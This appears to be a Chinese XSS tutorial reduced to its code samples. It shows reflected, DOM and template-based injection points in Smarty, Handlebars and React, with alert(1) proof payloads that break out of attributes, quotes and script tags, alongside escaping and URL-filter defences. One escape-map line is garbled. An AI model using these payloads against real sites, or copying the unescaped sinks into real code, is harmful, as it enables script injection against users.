Payload：<script>alert(1)</script>
<div>[输出]</div>

<div><script>alert(1)</script></div>

<input type="text" value="[输入]" />

Payload: <script>alert(1)</script>
http://local.abc.com/main/?r=abc/index&param=<script>alert(1)</script>

<div><{$smarty.get.param}></div>

X-XSS-Protection : 0    关闭浏览器的XSS防护机制
X-XSS-Protection : 1    删除检测到的恶意代码(如果不指定，IE将默认使用这个)
X-XSS-Protection : 1; mode=block   如果检测到恶意代码，将不渲染页面 (如果不指定，Chrome将默认使用这个)
X-XSS-Protection : 1; report=<reporting-uri> 删除检测到的恶意代码，并通过report-uri发出一个警告。

header('X-XSS-Protection: 1; mode=block');

header('X-XSS-Protection: 1; mode=block; report=www.xss.report');

Payload: alert('xss')
http://local.abc.com/main/?r=abc/index#alert('xss')

<script>
    var hash = eval(location.hash.slice(1));
</script>

<script>alert(1);</script>

<img src="1" onerror="alert(1)" >

<input type="text" onfocus="alert(1)">

<span onmouseover="alert(1)"></span>

<a href="javascript:alert(1)">test</a>
<iframe src="javascript:alert(1)"></iframe>

location.href = 'javascript:alert(1)'

Payload: <script>alert('XSS')</script> ，它的base64编码为PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">test</a>

<span style="color:1;zoom:expression(alert(1));"></span>

.abc {
    background: url(...)
} 

setTimeout('alert(1)');

eval('alert(2)');

var f = new Function('alert(3)');
f();

var escape = {
    '&': '&',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": ''',
    '`': '`'
};

<span class="a<b">abc</span>
等价于
<span class="a&lt;b">abc</span>

<a href="//www.baidu.com?a=1&b=2">abc</a>
等价于
<a href="//www.baidu.com?a=1%26b=2">abc</a>
等价于
<a href="//www.baidu.com?a=1%26b=2">abc</a>

<a href="#" onclick="alert(1)">abc</a>
等价于
<a href="#" onclick="\u0061\u006c\u0065\u0072\u0074(1)">abc</a>
等价于
<a href="#" onclick="\u0061\u006c\u0065\u0072\u0074(1)">abc</a>

<a href="javascript:alert(1<2)">abc</a>
等价于
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1<2)">abc</a>
等价于（使用JS的方法进行的URL编码）
<a href="javascript:alert(1%3C2)">abc</a>
等价于（使用转换成对应ASCII编码对应2位16进制数字的URL编码）
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%3C%32%29">abc</a>
等价于
<a href="javascript:alert(1%3C2)">abc</a>

Payload-0: http://local.abc.com/main/?r=abc/index&abc=');alert('11
<span onclick="test('<{$abc}>')">test</span>

<span onclick="test('');alert('11')">test</span>

<a href="javascript:window.open('[输入源]')">

Payload-1: http://local.abc.com/main/?r=abc/index&abc=<script>alert(1)</script>
<span><{$smarty.get.abc}></span>

<span><script>alert(1)</script></span>

Payload-2: http://local.abc.com/main/?r=abc/index&abc="><script>alert(1)</script>
<a href="/main/?param=<{$smarty.get.abc}>">abc</a>

<a href="/main/?param="><script>alert(1)</script>">abc</a>

Payload-3: http://local.abc.com/main/?r=abc/index&abc=" onmouseover=alert(1)
<a href="/main/?param=<{$smarty.get.abc}>">abc</a>

<a href="/main/?param=" onmouseover="alert(1)" ">abc</a>

Payload-4: http://local.abc.com/main/?r=abc/index&urlTo=javascript:alert(1)
<a href="<{$smarty.get.urlTo}>">urlTo</a>

<a href="javascript:alert(1)">urlTo</a>

Payload-5: http://local.abc.com/main/?r=abc/index&urlTo=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=
<a href="<{$smarty.get.urlTo}>">urlTo</a>

<!-- 对 <script>alert(1)</script> 进行 base64编码 为 PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo= -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=">urlTo</a>

Payload-6: http://local.abc.com/main/?r=abc/index&abc=</script><script>alert(1)//
<script>
    var abc = '<{$smarty.get.abc}>';
</script>

<script>
    // 第一个 script标签被闭合，虽然会报错，但不会影响第二个script标签，注意需要闭合后面的引号或注释，防止报错
    var abc = '</script><script>alert(1)//';
</script>

Payload-7: http://local.abc.com/main/?r=abc/index&abc=alert(1)
<script>
    if (<{$smarty.get.abc}> == 'abc') {
        console.log(1);
    }
</script>

<script>
    // 此处因为没有用引号，所以可以直接执行 alert(1)
    if (alert(1) == 'abc') {
        console.log(1);
    }
</script>

Payload-8: http://local.abc.com/main/?r=abc/index&abc='){}if(alert(1)){//
<script>
    if ('<{$smarty.get.abc}>' == 'abc') {
        console.log(1);
    }
</script>

<script>
    // 用了引号之后，闭合难度增加，不过还是可以闭合起来的
    if (''){}if(alert(1)){//' == 'abc') {
        console.log(1);
    }
</script>

Payload-9: http://local.abc.com/main/?r=abc/index&abc=');alert('1
Payload-10: http://local.abc.com/main/?r=abc/index&abc=%26%2339%3B);alert(%26%2339%3B1    对参数进行了HTML的实体编码
<span onclick="test('<{$smarty.get.abc}>')">test</span>

<span onclick="test('');alert('1')">test</span>

Payload-11: http://local.abc.com/main/?r=abc/index&abc=" onfocus="alert(1)" autofocus="autofocus"
<input type="text" id="input" value="<{$smarty.get.abc}>">

<input id="input" value="" onfocus="alert(1)" autofocus="autofocus" "="" type="text">

// 执行
$($0).html('<script>alert(1);</script>');

// 执行
$($0).html('\u003cscript\u003ealert(1);\u003c/script\u003e');

// 执行
$($0).append('<script>alert(1);</script>');

// 不执行
$0.innerHTML = '<script>alert(1);</script>';

<input type="text" id="input">
<textarea value="12" id="textarea"></textarea>

<script>
    // 不执行
    document.getElementById('input').value = '"><script>alert(1);<\/script>';
    document.getElementById('textarea').value = '"><script>alert(1);<\/script>';

    // 不执行
    $('#input').val('" onmouseover="alert(1)"');
    $('#textarea').val('" onmouseover="alert(1)"');
</script>

<input type="text" id="input">
<textarea value="12" id="textarea"></textarea>

<script>
    // 不执行
    document.getElementById('input').setAttribute('abc', '"><script>alert(1);<\/script>');
    document.getElementById('textarea').setAttribute('abc', '"><script>alert(1);<\/script>');

    // 不执行
    $('#input').attr('abc', '" onmouseover="alert(1)"');
    $('#textarea').attr('abc', '" onmouseover="alert(1)"');
</script>

<!-- 转义，如果name的值已经被后端转义为实体符&gt; 那么Handlebars将会转换成 &amp;gt; 在浏览器中将会显示 &gt; -->
<!-- 所以此时需要先将 &gt; 转回 > 再传入Handlebars模板，才能看到正确的 > 符号 -->
<span>{{name}}</span>

<!-- 不转义 -->
<span>{{{name}}}</span>

<!-- 模板 [A] -->
<script type="text/template" id="test-tpl">
    <span abc="{{#abc attrData}}{{/abc}}">111{{#abc data}}{{/abc}}</span>
    <span>
        <input type="text" value="{{#abc attrData}}{{/abc}}">
    </span>
</script>

<!-- 模板 [B] -->
<!-- <script type="text/template" id="test-tpl">
    <span abc="{{#abc attrData}}{{attrData}}{{/abc}}">111{{#abc data}}{{data}}{{/abc}}</span>
    <span>
        <input type="text" value="{{#abc attrData}}{{attrData}}{{/abc}}">
    </span>
</script> -->

<!-- 容器 -->
<span id="test"></span>

<script src="........./handlebars/handlebars-v4.0.5.js"></script>

<script type="text/javascript">
    // 自定义helper
    Handlebars.registerHelper('abc', function (text, options) {
        // 对输入数据进行过滤 [1]
        // text = Handlebars.Utils.escapeExpression(text)

        // helper直接返回数据 [2]
        return text;

        // helper返回子层 [3]
        // return options.fn(this);
    });

    // Handlebars获取数据
    function getHtml(html, data) {
        let source = Handlebars.compile(html);
        let content = source(data);
        return content;
    }

    var data = '<script>alert(1);<\/script>';
    var attrData = '" onmouseover="alert(2)"';

    // 渲染
    $('#test').html(getHtml($('#test-tpl').html(), {
        data: data,
        attrData: attrData
    }));
</script>

Payload: http://local.abc.com/main/?r=abc/index&param=%22%20onmouseover=%22alert(2)%22

function getUrlParam(name) {
    let value = window.location.search.match(new RegExp('[?&]' + name + '=([^&]*)(&?)', 'i'));
    return value ? decodeURIComponent(value[1]) : '';
}
var attrData = getUrlParam('param');

<span dangerouslySetInnerHTML={{__html: '<script>alert(1);</script>'}}></div>

<!-- 客户端 -->
<div id="content">
    <|- appHtml |>
</div>
<script id="preload-state">
    var PRELOAD_STATE = <|- preloadState |>
</script>

// 服务端
res.render('xxx.html', {
    appHtml: appHtml,
    preloadState: JSON.stringify(preloadState).replace(/</g, '\\u003c')
});

<a href="javascript:alert(1)">test</a>
<!-- 冒号: 的HTML实体符 -->
<a href="javascript:alert(1)">test</a>
<iframe src="javascript:alert(1)"></iframe>

<a href="<{$urlTo}>">test</a>
<a href="{{{urlTo}}}">test</a>

location.href = getUrlParam('urlTo');

function replaceJavascriptScheme(str) {
    if (!str) {
        return '';
    }
    return str.replace(/:/g, encodeURIComponent(':'));
}

Handlebars.registerHelper('generateURL', function (url) {
    url = Handlebars.Utils.escapeExpression(url);

    if (!url) {
        return '';
    }

    var schemes = ['//', 'http://', 'https://'];
    var schemeMatch = false;

    schemes.forEach(function(scheme) {
        if (url.slice(0, scheme.length) === scheme) {
            url = scheme + replaceJavascriptScheme(url.slice(scheme.length));
            schemeMatch = true;
            return false;
        }
    });

    return schemeMatch ? url : '//' + replaceJavascriptScheme(url);;
});

<span abc="<{$abc}>"></span>
" onclick=alert(1)

abc/index?abc=1 onclick=alert(1)

<span id="test1" abc=<{$abc}>>test</span>

<script>
    var aaaa = '?a=<{$a}>' + '&b=<{$b}>';
</script>

?r=abc/index&a=\&b==alert(1);function b(){}//

<script>
    // 构造处可执行的代码，如果空格也被转义了，还可以用注释占位 function/**/b(){}
    var aaaa = '?a=\' + '&b==alert(1);function b(){}//';
</script>